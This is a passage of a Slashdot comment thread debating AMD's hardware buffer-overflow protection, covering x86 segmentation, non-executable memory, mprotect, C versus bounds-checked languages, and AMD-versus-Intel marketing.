      When you are returned a far pointer, you cannot just use it... You must first load a segment selector register, and there are only 4 for use with data: DS, ES, FS, GS. Then, you can indirect through a far pointer.

    3. Re:Isn't this already possible with segmentation? by ktulu1115 · · Score: 2, Interesting

      Ahh yes, this sounds familiar... In protected mode on the x86 (with segmentation enabled), far memory pointers are 48-bit, are they not? 16-bit segment selector + 32-bit memory offset into 4gb virtual address space. That is something of a problem, not being able to fit a far pointer into a general register (kinda makes indirect memory references via pointer hard, don't it?).

      However, the new 64-bit architecture as proposed by AMD (I don't have Intel's specs) seem to suggest this might not be a problem anymore. The AMD64 Architecture Programmer's Manual Volume 2: System Programming has lots of information and I must admit it's a lot to read, but from what I gather would this not be an issue anymore? 32-bit memory offset (upto 4gb virtual address space) + 16-bit segment selector can easily fit within a 64-bit register, however I'm not sure if the CPU is designed to handle such things. From the Application Programming Documentation (at http://www.amd.com/us-en/Processors/DevelopWithAMD /0,,30_2252_875_7044,00.html) , AMD claims that "In 64-bit mode, the AM64 architecture supports only the flat-memory model in which there is only one data segment, so the effective address is used as the virtual (linear) address and far pointers are not needed." (page 23).

      So maybe I have indeed answered my own question... segmentation as it was designed for will not easily be utilized... If so, would anyone with any sort of CPU architecture design/experience possibly give any reasons for this? Would it just be too difficult to modify the instruction sets and architecture to easily accomodate full segmentation support?

      --
      # fuser -v /dev/attention | grep work
      #
    4. Re:Isn't this already possible with segmentation? by evilviper · · Score: 1

      OpenBSD (3.3 and up) does this already, and PaX (for Linux) does this as well.

      It's not that a new chip is needed, it's just a matter that it's easier (and probably more accurate) to do it in hardware.

      BTW, no new chip is needed, AMD64 has always had this function, that's essentially what is being said, in a dumbed-down way.

      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
    5. Re:Isn't this already possible with segmentation? by ktulu1115 · · Score: 1

      It's not that a new chip is needed, it's just a matter that it's easier (and probably more accurate) to do it in hardware.

      Oh yes, I'm aware of that... the problem is (at least in OS design) if you have to use software emulation for memory access, it's pointless. Memory management is a time-critical portion of modern OS design and it couldn't allow taking a performance hit from that.

      I wasn't aware OpenBSD utilized segmentation, perhaps a look at the source could help some.

      --
      # fuser -v /dev/attention | grep work
      #
  125. Prevents exploits or just raises the bar a little? by sgifford · · Score: 1

    Does preventing executable stack/data pages prevent a large number of bugs from being exploitable, or does it just stop existing exploits until they are recoded to use other techniques (like return-into-libc)?

    In other words, does a properly used non-executable bit make a large number of bugs impossible to exploit, or just a bit more difficult?

  126. Oh the irony... by Phil+John · · Score: 1

    ...you linked to this: http://http//www.catb.org/~esr/jargon/html/P/PEBKA C.html

    which in my book ain't a valid url, and thus you have proved that in your case PEBKAC

    --
    I am NaN
    1. Re:Oh the irony... by Mick+Ohrberg · · Score: 1
      ...and ain't ain't a word either. :)

      But yes, case in point. I was just too trigger happy on the mouse. My sincere apologies.

      --

      Quidquid latine dictum sit, altum sonatur.

  127. AMD = Gaming by SphericalCrusher · · Score: 0

    Anything to keep the AMD running smooth is a damn good thing in my book. I use the AMD Athlon processor and in several different ways to me, it outclasses and outmatches any Pentium processor. I'm sure that statement is very arguable, but I feel that AMD processors, even though louder, have a lot more power to them. Even if they burn out faster than an Intel processor, it's just good to know that for that shorter of a time it was running, it did it's best to give me the best experience.

    I don't hate Intel or any of their processors, as all of my friends use them, but I use the computer for a lot more than just programming, chatting, and downloading -- I'm a hardcore gamer also. If my claim can be proven wrong with technical details, I'd love to hear it. I'm all ears.

    --
    "Instant gratification takes too long." - Carrie Fisher
  128. This is a separate issue by Anonymous Coward · · Score: 0

    You are talking about supervisor modes. This has nothing to do with that unless you are talking about overflowing a buffer in a device driver. What the AMD press release is talking about is applications: userspace, or level 3 in Intel terminology. Userspace isn't allowed to muck with page tables with or without AMD's change. It's simply not relevant.

    And as for OSes that used it OS/2 and NT3.51 both used it. OS/2 is dead. And NT was redesigned for speed so it only uses the two levels.

    Theoretically there is no need for more than two levels because the operating system, being in full control, can divvy out the extra priveledges as system calls. See SELinux for an example of very fine-grained control and separation.

  129. Mmm... popcorn... by MrFluffyPants26 · · Score: 1

    I read that as "Butter Overflow Protection." :P

  130. Re:the Chipmaker??? by nehril · · Score: 4, Insightful

    why can't they just double check their code?
    for the same reason cooperative multitasking went out of style: humans.

    theoretically a coop multitasking operating system is much more efficient than pre-emptive multitasking. coop multitasking systems (like Mac OS pre X and Novell Netware) require each application to voluntarily give up the CPU when appropriate. That means that every app gets the entire cpu to itself, yielding better cache performance and allowing the app to continue a thread until a good time to stop came along (like, waiting for input or disk or whatever). Unfortunately, that means all programs must be perfect, a bug in any one of the running programs will bring down the entire OS like a house of cards. Or if you didn't release resources just right, your app would appear to hog the entire system and it would LOOK like you crashed everything.

    Most programmers are not perfect.

    Thus the rise in pre-emptive multitasking, where app programmers no longer get to decide when to give up the cpu, the operating system yanks your thread based on timeslices or some other mechanism outside the apps control. this means your various caches no longer have the "right" data most of the time, and maybe your thread gets yanked 1 instruction short of what would have been a better stopping place (maybe the next cycle was for a well-timed disk access). Some advanced chip features like memory streaming for SIMD ops also get trampled by pre-emptive multitasking, meaning you can no longer prefetch large chunks of data since threading out stops all your streams (this is a problem for Altivec programming.)

    But on the whole, by acknowledging that programmers are not perfect (it only takes one bad one to ruin your system), and moving to the "wrong" solution of pre-empt multitasking, we get vastly improved stability and perceived performance. This is also why "wrong" solutions like hardware overflow protection are needed.

    A scientist would say you are right, but an engineer would say you are wrong.

  131. Old Hat by Anonymous Coward · · Score: 0

    After undusting my 1987 386 reference, it clearly states that segment registers then could distinguish between read, write and execute rights, and that it is impossible to give a segment both write and execute rights. So clearly Microsoft had the tools to create a memory manager that would prevent buffer overruns for more than 15 years. But they were not used so that Windows NT would be compatible with the Alpha and PowerPC.
    On the other hand, if you want to write a JIT compiler, you need a way to turn data pages into code pages. So this neat extension will make it harder, hopefully much harder, to exploit buffer overflow bugs, but it cannot prevent it completely.

  132. Nascar Buffer Overflow Protection by blunte · · Score: 1
    The question will be whether their PR department can spin this into a big enough story to sell to the Average Joe


    Just license the Nascar name and yes, average Joe will make a point to buy it.

    Sad isn't it :)

    --
    .sigs are for post^Hers.
  133. AMD is doing just fine by gosand · · Score: 4, Insightful
    Nobody knows if Intel is better, but they don't want a computer that "lacks" Intel inside. They simply guess that if it's inside, it's better than not having it inside. It is brilliant. It can't be copied or AMD looks like a "me too!" player. It can't be contested because it's just vauge enough to not claim that the machine is any better for having Intel inside, but implies that anything else is somehow inferior.

    Do you remember when the "Intel Inside" logo came out? There was no real competition. (it was the Pentium days) There were other processors, but the Pentium pretty much blew them away. Intel didn't just success on that logo alone, they do have a little bit of technology behind it.

    I think it is funny when people say AMD is better. When they say that, ask them why - 99% of the time it will be because it is cheaper (bang for the buck). The other 1% might do overclocking, or read anandtech on a daily basis, or have some highly technical reason - which is essentially irrelevant to the argument. For AMD to be where they are in the processor market, it is nearly a miracle. The only reason is because Intel was comfortable in their position. AMD came on the scene with a comparable product at a cheaper price, and it woke Intel up real fast. They catered more to the "home enthusiast" market at just the right time.

    I have a buddy who has worked at Intel for 7 years now, and I always kid him about AMD. He works on the thermal solutions, and has access to the fab floor. There may be some advantages that Intel has over AMD in some areas (and vice versa) but if you have two well put together systems of each sitting side-by-side, the processor is pretty much a non-issue.

    --

    My beliefs do not require that you agree with them.

    1. Re:AMD is doing just fine by nempo · · Score: 1, Insightful

      Well, if you have some brains up there you'd be smart enough to buy the cheaper of the two equally performing processors. If the processor is a 'non-issue' you'd be stupid to go with the more expensive alternative.

      Yes, AMD is cheaper, yes AMD overclocks better. Personally I don't overclock so that is a non-issue for me but I do want maximum performance for my well-earned money and hence tends to stay away from intel, ie. most 'bang for the buck' sort of thing.

      --
      --- No, english is not my mother tongue.
    2. Re:AMD is doing just fine by Anonymous Coward · · Score: 0

      Well, if you have some brains up there you'd be smart enough to buy the cheaper of the two equally performing processors. If the processor is a 'non-issue' you'd be stupid to go with the more expensive alternative.

      right.. the issue is with the motherboard. the problem is that there are less stable motherboards that use AMD chips than do Intel chips. This is probably a result of mobo manuafacturers putting less effort into their AMD line than their Intel line.

      That said, I haven't bought Intel since the Pentium 1 (though I did recently buy a used Pentium 2 for cheap, which I like very much). My latest systems are $30-40 AMD Durons (OEM). Can't beat such a sweat deal, especially if you try to buy Intel.

    3. Re:AMD is doing just fine by gosand · · Score: 1
      Well, if you have some brains up there you'd be smart enough to buy the cheaper of the two equally performing processors. If the processor is a 'non-issue' you'd be stupid to go with the more expensive alternative.

      My point was that when people say AMD is better, they mean it is cheaper. If Intel and AMD were the same price, which would you get? Me? I'd probably still get AMD, just because they are the underdog. And because they aren't part of the "evil" Wintel equation. And to tick off my buddy. :-)

      --

      My beliefs do not require that you agree with them.

    4. Re:AMD is doing just fine by ckaminski · · Score: 1

      I use AMD cuz they didn't force that abortion called RDRAM down my throat. :-)

    5. Re:AMD is doing just fine by Anonymous Coward · · Score: 0

      I think it is funny when people say AMD is better.

      AMD's recent processors are better, depending on what you're doing with them. They make better use of the resources used, and x86-64 is the perfect hack on ia32. Of course it's not enough of a difference to justify their fans and it doesn't really make any difference for most applications. (and for some Intel's processors are better)

      It's like different brands of windshield wiper blades. One may be better than the other, but who cares? Either will get the job done. It's just that if you buy the cheaper ones, the dealer won't touch them when you take it in under warranty.

    6. Re:AMD is doing just fine by hackstraw · · Score: 1

      Do you remember when the "Intel Inside" logo came out? There was no real competition. (it was the Pentium days)

      Yes, I do. I saw it for the 1st time on my father's Compaq 486/33sx. A friend of the family that worked for intel commented on it, and said it was good for job security. This was 1993. It may have come out before then.

    7. Re:AMD is doing just fine by NanoGator · · Score: 1

      "Well, if you have some brains up there you'd be smart enough to buy the cheaper of the two equally performing processors."

      You're forgetting a major factor in this whole thing. The future. People buy computers worrying about what they'll be useful for 2 years from now. Intel's still the big name there, so people worry about the new stuff they get being optimized for it, yadda yadda yadda.

      It's also worth mentioning that Intel virtually owns the laptop market, and gee whiz, lotsa them's machines are selling lke crazy. AMD would be smart to compete a little more seriously in that market. When I went laptop shopping, the AMD-based laptops felt like "laptops trying deperately to be really cheap", when really what I was after was "mid-range + useful performance". That laptop may be out there somewhere, but I wasn't able to find it. So I'm running Intel.

      --
      "Derp de derp."
    8. Re:AMD is doing just fine by Hoser+McMoose · · Score: 4, Informative

      Do you remember when the "Intel Inside" logo came out?

      1991, according to Intel themselves

      There was no real competition. (it was the Pentium days) There were other processors, but the Pentium pretty much blew them away.

      The Intel Inside marketing program started two years before the Pentium came out. At that time AMD was competing very effectively with the 486. So much so that Intel wanted a new marketing campaign to try to bring people back. Even in the early Pentium days AMD continued to compete effectively. Their 5x86 120MHz chips were very competitive with the Pentium 60 and Pentium 66, and even the 75MHz Pentium chips. It wasn't really until '94 or '95 that Intel really started leaving AMD in the dust, mainly because AMD was WAY late at releasing their K5 processor and when it did come out they had so many problems manufacturing it that it was clocked much lower than initially hoped for. Cyrix continued to offer some competition for Intel during this time, but they were plagued by crappy motherboards which gave them a poor reputation (it was a bit of a self-fulfilling prophecy thing: reputation for being cheap crap meant that they were put on cheap crap motherboards which resulted in a poor quality system).

      it will be [better] because it is cheaper

      And that is somehow an invalid reason for a product to be better?

    9. Re:AMD is doing just fine by Anonymous Coward · · Score: 0

      I think Intel owns the laptop department because they *gasp* let the engineers design the best technical solution. Pentium-M is an awesome chip.
      The marketers put Intel in front, but over time they have locked in people's thinking, more GHz = faster, which basically ties the hands of the design engineers since the goal is not a fast processor, but rather faster GHZ

    10. Re:AMD is doing just fine by Anonymous Coward · · Score: 0

      or read anandtech on a daily basis

      I read AnandTech weekly... ..and every two or three times I visit, there's a new article!

    11. Re:AMD is doing just fine by Helvick · · Score: 1
      sorry bud - those of us who were actually building systems waaay back when the Pentium was launched remember that the benchmarks of the day proved that the AMD chips available at the time (mid\late '94 I think) were definitely not "blown away" by the P5, quite the opposite in fact as shown here and they continued to be able to beat the P5's early iterations through it's first few generations as shown in these vinatage 96 benchmarks . That pattern has repeated more or less ever since with Intel generally losing the edge noticably (but temporarily) every time they had a major architecture shift (386->486, 486-P5, P5-P6, maybe not so on PII -> PIII (I wasn't paying attention), definitely at PIII-P4, and currently with A64\Opteron vs Prescott - at least for now. At a guess the Prescott (or Tejas) will scale past A64's sometime later this year in real world benchmarks, AMD will respond (A64-EE!) and around we'll go again. Who's "better" only depends on when you're looking, certainly neither has ever "blown" the other away, thankfully as the competition has benefited all of us. Mind you the fact that AMD have actually taken the architectural lead so commandingly this time round is a real shake up, this is the first time that I recall that Intel are following (sort of at least) not leading.

      The Intel Inside campaign was used to create a marketing brand that has clearly worked very well, you seem to think the P5-Pentium clearly outclassed the opposition when it was introduced - it did not.

    12. Re:AMD is doing just fine by nempo · · Score: 1

      I highly doubt it but I wouldn't know since I havn't used an intel machine since the pentium 1 days myself. The only think that might be an advantage is intels automatic clock throttling when the cpu gets overheated.

      --
      --- No, english is not my mother tongue.
    13. Re:AMD is doing just fine by Anonymous Coward · · Score: 0
      Their 5x86 120MHz chips were very competitive with the Pentium 60 and Pentium 66, and even the 75MHz Pentium chips. It wasn't really until '94 or '95 that Intel really started leaving AMD in the dust, mainly because AMD was WAY late at releasing their K5 processor and when it did come out they had so many problems manufacturing it that it was clocked much lower than initially hoped for.
      You've gotten a few things a little bit mixed up. There was never an AMD 5x86 120MHz chip. There was an AmDX4-120MHz chip, which was nearly as fast as a P75. You're thinking of the Am5x86-133MHz (a super 486), which was faster than a P75, and could overclock to be faster than a P100. AMD's Socket 3 120/133MHz 486s were never really competition against the Pentium, but enough of them sold as upgrades and in laptops for AMD to not go broke. Then AMD bought NexGen and released the Nx6x86 as the K6, and gave Intel some competition again - Intel even dropped the P2 on the market before it was finished because the K6 was faster than the PMMX. Those early P2s were hideously hot and castrated by the 66MHz FSB. It has been a full 7 years that AMD has been consistantly better value for money than Intel.
    14. Re:AMD is doing just fine by PantsWearer · · Score: 1
      When purchasing, something of equivalent worth, but a cheaper price is generally considered better. Thus, AMD is better.

      Personally, I like AMD's architecture and hardware philosophy better than Intel's as well, but the big selling point for me is the fact that I can get an AMD for far less the the equivalently performing Intel.

      --
      Be glad life is unfair, otherwise we'd deserve all this.
    15. Re:AMD is doing just fine by Anonymous Coward · · Score: 0

      When purchasing, something of equivalent worth, but a cheaper price is generally considered better. Thus, AMD is better.

      A better price, deal or choice yes. But AMD itself still isn't any better.

  134. Good, now I can write crappy code (nt) by Anonymous Coward · · Score: 0

    nt

  135. I'd take a duron.. by Anonymous Coward · · Score: 0

    Over an intel celery any day! Those guys really need to read up on the processors.

  136. stupid by ajagci · · Score: 4, Interesting

    Marking pages as executable/non-executable is old, and it's not the way to deal with buffer overflows. Many buffer overflow exploits, in fact, only modify data (like the saved PC pointer).

    The correct way of dealing with buffer overflow problems is to make them not happen in the first place. That means that all pointers need to have bounds associated with them. Unfortunately, both the C mindset and some design quirks of the C programming language make that a little harder than it should be for UNIX/Linux and C-based systems.

    The real problem is ultimately the use of C, and the real solution is not to use a new CPU or add instructions, but to use a language without C's quirks. In terms of performance, C's pointer semantics only hurt anyway.

    1. Re:stupid by zhenlin · · Score: 1

      Most of C's quirks are derived from assembly.

      Assembly is a do-it-yourself kind of language. Bounds checking is strictly optional.

      After all, how can we be certain this is a pointer into an array, or a pointer to an array element?

    2. Re:stupid by groomed · · Score: 1

      The correct way of dealing with buffer overflow problems is to make them not happen in the first place. That means that all pointers need to have bounds associated with them.

      And then what? Program oversteps its bounds and is terminated? Granted, you've prevented a possible buffer overflow and exploit, but the program is still severely broken.

      The real problem is ultimately the use of C

      The problem is that people write buggy code. Buggy code won't work right no matter how many protection mechanisms you build into the environment.

    3. Re:stupid by SuperFrink · · Score: 2, Informative
      The real problem is ultimately the use of C, and the real solution is not to use a new CPU or add instructions, but to use a language without C's quirks.

      Is the problem the C language or is it that people write code that doesn't check it's input well enough?

      The man page for gets() (from Slackware 9.1) reads:
      Never use gets(). Because it is impossible to tell with out knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.

      It's true people write buggy code. Look at PHP. I think it checks bounds on arrays (actually I think they behave like hash tables or list objects but that's beside the point.) Have you never heard of a security bug in something written in PHP?

      Is a bug that lets people run arbitrary commands on your webserver less dangerious than a bug that allows them to run arbitrary executable code? Do you keep wget, gcc and as on your webserver?

      Some languages make it eaiser to check input (eg regexes in perl) but it's still possible to let something through.
    4. Re:stupid by ajagci · · Score: 1

      And then what? Program oversteps its bounds and is terminated?

      Or it recovers more locally, like "sorry, this SMTP connection will be terminated because it has a string buffer overflow". The server itself will go on working.

      Granted, you've prevented a possible buffer overflow and exploit, but the program is still severely broken.

      Not at all. It is perfectly legitimate for programs to rely on language-supplied bounds checks to guard against attacks or unusual conditions and it is easy to write exception handling code that will recover from such conditions reliably.

      The problem is that people write buggy code. Buggy code won't work right no matter how many protection mechanisms you build into the environment.

      No, there is nothing "buggy" about relying on built-in protection mechanisms and throwing a low-level exception under unexpected conditions. Your idea that programmers have to check every single piece of data manually comes from C, where you don't have a choice. But languages are supposed to make programming easier.

    5. Re:stupid by groomed · · Score: 1

      Or it recovers more locally, like "sorry, this SMTP connection will be terminated because it has a string buffer overflow". The server itself will go on working.

      But does that matter if it just dropped an important piece of mail? And what about potential bugs in the recovery code? After all, that code is least likely to get good testing.

      No, there is nothing "buggy" about relying on built-in protection mechanisms and throwing a low-level exception under unexpected conditions.

      I don't think you should be handling errors that you didn't anticipate. That's not exactly what you're saying, but it comes damned close.

      Your idea that programmers have to check every single piece of data manually comes from C

      It's not about manual versus automatic. What I balk at is the idea that you can write useful programs without awareness of things such as how many characters an array will hold. An off-by-one error may still lead to data loss even if the environment can recover from it gracefully.

      But languages are supposed to make programming easier.

      "Easy" is not a one-dimensional property. I think C is easy, for example, because it gives you a great degree of control: I find few things as frustrating as fighting garbage collectors or abysmal performance characteristics.

  137. Fixing Software with hardware?? by stackdump · · Score: 2, Interesting

    Doesn't it sound strange to modify hardware to correct a software deficiency? Well to me it does. Lemme tell a story ( a little off topic):

    I bought a truck. Said truck did not have original bumper. OK, first week i get a flat. No big deal just change it right?. But, without the original bumper i couldn't get to the "mr. Pickup" spare tire let down access port in the bumper, because it is apparently misaligned. Right, so Take the truck back get it fixed. Ok, next week pick up the truck, Bumper has not been re-aligned nothing on truck is modified. I pull out the tire tool to see how it is working to find out that whomever had been working on the vehicle decided it was better to modify that tool instead of really fixing the problem. They had taken the tire tool to a grinding wheel. In roughly the middle of the device they modified it from about half an inch in diameter to about a quarter. Well it does work but I must say what the hell where they thinking about (i bought it from a dealer of course)

  138. Re:the Chipmaker??? by kfg · · Score: 1

    The late Peter Gregg, whose nickname was "Peter Perfect" due to his skill and attention to detail, was an extremely successful sports car racer and multi time IMSA champ.

    On the street he always drove automatics because he felt they were superiour technology for the application.

    You'll find that where the rules allow all racing cars now handle their gear changing automatically under computer control, because the computer and robotic systems can do it better than any human. In fact, where the rules allow and the technology is available, constant velocity transmissions are prefered and no "gear change", per se, takes place at all.

    If one can create a hardware architechture which simply refuses to overflow a buffer, what possible point would there be in not doing so?

    Do not virtually all high performance cars these days, including racing cars where the utmost in performance is required, make use of rev limiters to prevent human control from damaging the engine?

    Once upon a time my favorite programming tool was called a "soldering iron." I still make use of said device for peripherals. I'm not entirely unfamiliar with low level hardware based issues in programming.

    Once upon a time you also had to pour your own babbit main bearings for your car. To start the car the first step was to drain the oil sump, heat the oil in a pan on the stove, replace it, then hand pump the oil into the engine, then hand pump fuel into the carb, then hand crank the engine. We call those times "The Bad Old Days."

    What a computer can do better than a human is the legitimate field for using computer power.

    The problem comes only when people use computers to do what people are better at, thinking.

    KFG

  139. The Stability/Compatibility issue by gbulmash · · Score: 1
    As others have noted, they've heard people state that there are stability or compatibility problems with AMD chips.

    I remember the early '90s when there were some Cyrix x86 clones that were having issues, and there were some concerns about AMD. AMD busted through that for most of the people who know what's what, but the general public still has dim memories of that.

    Just last week, my father told me he was buying a new PC for my stepmom. He was intrigued by the low prices on AMD Athlon XP systems, but he remembered that they had compatibility issues. It didn't take that much reassuring to get him to go for the cost savings on the AMD, but it did take some and from someone he knew to be unbiased (I have a p4 2.4 laptop and an AMD64 desktop at home).

    A lot of people like to attribute the sales gap to Intel winning the battle of the megahertz myth. But there are lots of Joe Consumers out there who pay the Intel premium because still think that an AMD chip might crash or spit out garbage in situations a Pentium will handle with ease.

    Until now, AMD has been seen by many as a company that copies Intel's technology... poorly. If Intel adopts x86-64 and then this, they need to spin themselves as the company that Intel is copying... poorly.

    -Gregbr>

  140. Brilliant idea by ChrisMaple · · Score: 1
    I always thought "Intel Inside" was a warning label.

    I love your thought. AMD should use it in an advertising campaign.

    --
    Contribute to civilization: ari.aynrand.org/donate
  141. Re:Pathetic by eht · · Score: 0, Offtopic


    Moderation +4
    70% Insightful
    30% Interesting
    Mods are on crack, waste your mod points on other stuff, other similiar posts were made to the same grandparent, we got his post modded to oblivion.

    +1 maybe to my post, but +4?
    gahhhhhhh
    I didn't even provide any actual useful info, I just wanted the mods to pay some attention.
    </rant>

  142. One reason only: to support TCPA/Palladium/NGSCB by Anonymous Coward · · Score: 1, Interesting

    This is not going in to make computers more secure, avoid worm attacks, or any other reason of consumer protection. This is going in for one reason only: to support Treacherous Computing platforms such as TCPA, Palladium, and NGSCB. After all, crackers breaking into consumers computers is one thing, but consumers trying to trick their computer into giving them access to their own data is quite another. The fact that it can also be used to prevent real security exploits is simply a side-benefit that will help them encourage upgrades.

  143. Nope. by Anonymous Coward · · Score: 2, Informative

    Buffer overflows occur because the call-tree is in the same, writable stack as the call-frames (local variables). Furthermore, languages like C make it very easy to define "buffers" that are located in the local stackframe, instead of forcibly allocating memory in the heap.

    So, the problem is that somehow (e.g. not limiting the amount of input you read into a fixed sized buffer) you overrun the end of your buffer on the local stackframe with the return address at some point just after it.

    You have to know how far an offset the return address is from the start of the overflowed buffer, and where you'd like to put the instruction pointer now. As you don't generally have anywhere else, you put the Instruction Pointer to some point on the stack where you overflowed it. Make sure your overflow includes exploit code, and enough NOPs first to allow for any call depth.

    Barricades against this technique:
    - random address for start of stack
    - non-executable stacks
    - forwards-growing stacks

  144. Is this the right solution? by multiplexo · · Score: 3, Interesting

    Years ago I went to a presentation on RISC v. CISC architectures. The presenter pointed out that RISC didn't really stand for "Reduced Instruction Set Computing" rather it stood for "Relegate the Important Stuff to Compilers". Why hasn't Microsoft released C and C++ compilers that institute bounds checking? Hell, ADA had this years ago and say what you will about the language it's a damned handy thing to have.
    This will be a good thing if it works out, but it will take years for these chips to penetrate the market to any significant degree and once again we are seeing hardware vendors come to the rescue of software companies by creating hardware that has the capability, either in speed or safety features, to compensate for bad programming tools and bad programmers.

    --
    cheap labor conservatives - they want to keep you hungry enough to be thankful for minimum wage.
    1. Re:Is this the right solution? by Anonymous Coward · · Score: 0

      "Why hasn't Microsoft released C and C++ compilers that institute bounds checking"

      Why don't posters check the documentation before making such statements? /GS (Buffer Security Check) and /RTCs "Enables stack frame run-time error checking" are in VC7.0 and 7.1

    2. Re:Is this the right solution? by evilviper · · Score: 1
      This will be a good thing if it works out,

      It does.

      once again we are seeing hardware vendors come to the rescue of software companies by creating hardware that has the capability, either in speed or safety features, to compensate for bad programming tools and bad programmers.
      Well, OpenBSD implimented these features in the kernel (not hardware-based) a while ago, and even before these features, OpenBSD was (and is) regarded as a very secure OS.

      My point is that it's not a problem with bad programmers or tools, it is an (almost) inherent problem with software. Even Java (considered very secure) has had numerous security problems.
      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
  145. I know that stuff is bad for aMD by Anonymous Coward · · Score: 0

    Why should you care about that? I'm a consumer, to me what matters is that AMD processors are cheaper and faster. They could be losing money for all I care. I think the financials show that for the past few years they've been losing a couple bucks for every processor they sold, although they aren't right now.

    but like I said, it doesn't matter. Right now AMD stuff is a better buy, so if I was buying now that's what I'd buy. I don't know enough to be an analyst, and most analysts don't either. I do know where to get the good stuff, and right now, that's AMD.

  146. LISP machines had this and much more by hqm · · Score: 3, Interesting

    The LISP machines built at the MIT AI Lab had hardware which worked in parallel with the main CPU that checked things like array bounds and also did other types of tag checking, such as automatic runtime coercion of ints to floats and other things that are helpful to a high level language.

    Since every object in LISP machine memory had a type tag, many useful operations could be parallelized, such as garbage collection and type dispatch for object oriented function calls.

    The problem with languages like C is that they have no object semantics at all, so runtime bounds checking and other goodies don't work very well. The C weenies have everybody convinced that this is necessary to get the highest performance, but they don't realize that with a small amount of extra hardware, all these safety operations can be done in parallel. And since the C weenies influence the CPU designers, it is a vicious circle of bad machine architecture.

    1. Re:LISP machines had this and much more by Anonymous Coward · · Score: 0
      The problem with languages like C is that they have no object semantics at all, so runtime bounds checking and other goodies don't work very well. The C weenies have everybody convinced that this is necessary to get the highest performance, but they don't realize that with a small amount of extra hardware, all these safety operations can be done in parallel.
      And now all this extra hardware is going towards fixing the C mess instead of doing useful stuff. If only the C weenies would pull themselves out of the 70s (and their heads out of their asses) and realize just what a huge performance penalty doing pointer arithmetic is on modern architectures (thanks in no small part to the ridiculous speed difference between main memory and processor, deep pipelines, aligned memory access, virtual memory, etc.), maybe we'll start seeing some real improvements. But I wouldn't count on that.
  147. Ever heard of mprotect(2) by ^BR · · Score: 1

    mprotect(2).

    This syscall exists since about forever and is pretty standard on *nix platforms. Any well written on the fly code generating code is already relying on it.

    It's not exactly like you are the first to foresee the problem...

    1. Re:Ever heard of mprotect(2) by taniwha · · Score: 1

      I know about mprotect (of course we're really talking about MS software here). However part of my point was that you have to make things like mprotect REALLY lightweight - a cache and tlb (both data and icache) flush is probably the minimum amount of work required - that combined with a user->kernel->user context switch makes it hard to do really small JIT sorts of stuff. Processors designed to do this stuff (like Crusoe for example) have to have much lighterweight ways do this sort of thing

  148. Partial solution by Dr.+Mu · · Score: 1
    While I agree that imposing a Harvard-like architecture on an inherently Von Neuman machine isn't a bad idea, it's not a real solution to the stated problem.

    Problems like buffer overflows and memory leaks are due to choosing one's programming language poorly. Any programmer writing high-level functions who needs to call malloc, for example, needs his head examined. C and its ilk should be relegated to only the lowest of low-level programming needs. Then, with a good low-level API, mundane issues like memory management, bounds-checking, and garbage collection can be solved once and for all and free the programmer to do his work without generating these kinds of security issues.

    Better computer languages that manage such things transparently abound. Why do so many people still use C?

    1. Re:Partial solution by Maddog_D97 · · Score: 2, Informative

      Because it's faster and doesn't suck up a lot of memory. It wasn't until recently that John Carmack switched to writting in C++ instead of C for his new DooM ]|[ engine.

    2. Re:Partial solution by voodoo1man · · Score: 1
      Because it's faster and doesn't suck up a lot of memory.
      And what's your scientific explanation for this? The "speed" of a language is mostly dependent on implementation, with language features (or lack thereof) playing second fiddle. Unfortunately, C's second fiddle tends to be off-key on modern architectures. Arbitrary pointer arithmetic will cause a large slow-down when accessing unaligned memory locations or uncached pages. It's a lot easier to optimize these bottlenecks away in a language with a strict object reference model. Combine pointer arithmetic with manual memory management, and you get fragmentation and locality lossage, which causes cache misses for your program (I'm ignoring page faults here - hopefully everyone has enough main memory by now!), and allocation problems for the rest of the system. A decent garbage collector will remove both problems. Automatic memory management also eliminates all of the unnecessary copying that goes on in C applications due to unknown object lifetimes. The reason that C programs appear smaller is that the C runtime doesn't really provide anything except for memory allocation. Once you bring in shared libraries to actually do anything useful, the picture changes dramatically (especially with the code bloat of the GCC 3.x series of compilers as compared to 2.9).

      If you want to see a compiler that can produce tighter, smaller code than most C compilers, from a supposedly inefficient functional source language, all the while providing type and bounds safety, take a look at OCAML.

      It wasn't until recently that John Carmack switched to writting in C++ instead of C for his new DooM ]|[ engine.
      Which only serves to reinforce the point about implementations I made above, as C++ has exactly the same memory model and mechanics as C.
      --

      In the great CONS chain of life, you can either be the CAR or be in the CDR.

  149. "Average Joe" will buy it. by miscellaneous_havoc · · Score: 1

    If you're a large company that doesn't mind taking advantage of Mom and Dad or Grandma and Grandpa back at home, you'll tell them they _need_ this new great technology to prevent "Evil Hackers" and all the other evils from taking over their computer. And they will inevitably buy it because "They said we needed it!" But since it's not a real concern among mainstream users, they will not need this overflow protection, so there are only going to be the smaller companies and individuals buying that know it's not necessary to have. (But they'll buy it too for bragging rights.) This should sell pretty good in a year or so.

    --

    -----
    Make Love not [Browser] War!
  150. Ever heard of mprotect(2)? by ^BR · · Score: 0, Redundant

    See mprotect(2).

    This syscall exists since about forever and is pretty standard on *nix platforms. Any well written on the fly code generating code is already relying on it.

    It's not exactly like you are the first to foresee the problem...

    I think I just made a dupe comment...

  151. Well written applications... by ^BR · · Score: 2, Informative

    ...already use mprotect() to set the execute permission on the area of memory where they generate the code... On Unix that's it...

    By the way... What is (or is there) the Windows equivalent?

    1. Re:Well written applications... by Ben+Hutchings · · Score: 2, Informative
  152. Question... by Tehrasha · · Score: 1

    Will having this kind of hardware 'protection' simply lead to sloppier code writing? "Sure my code is shite and full of security holes, but what do I care, the processor will catch it and prevent trouble." What ever happend to "we'll fix it in software" ?

    1. Re:Question... by flex941 · · Score: 1

      You'll fix it anyway in this case. Processor just stops your program executing where earlier your program could continue running.

      So if you don't like customers who hate you because
      your program is not running on newer proccessors - you'll fix it. The proccessor doesn't prevent anything - it just sends your running code down the pipe.

  153. Re:the Chipmaker??? by Anonymous Coward · · Score: 0
    That's like saying "why do we need cops? why can't people just not break the law, so no one needs to be around to reinforce them?"

    It CAN be done - In Switzerland, crime is "Verboeten" so they don't have any crime there :-)

    Maybe the answer is to write all software in Switzerland - sure it costs more than India but WTF

  154. It is more or less... by ^BR · · Score: 1

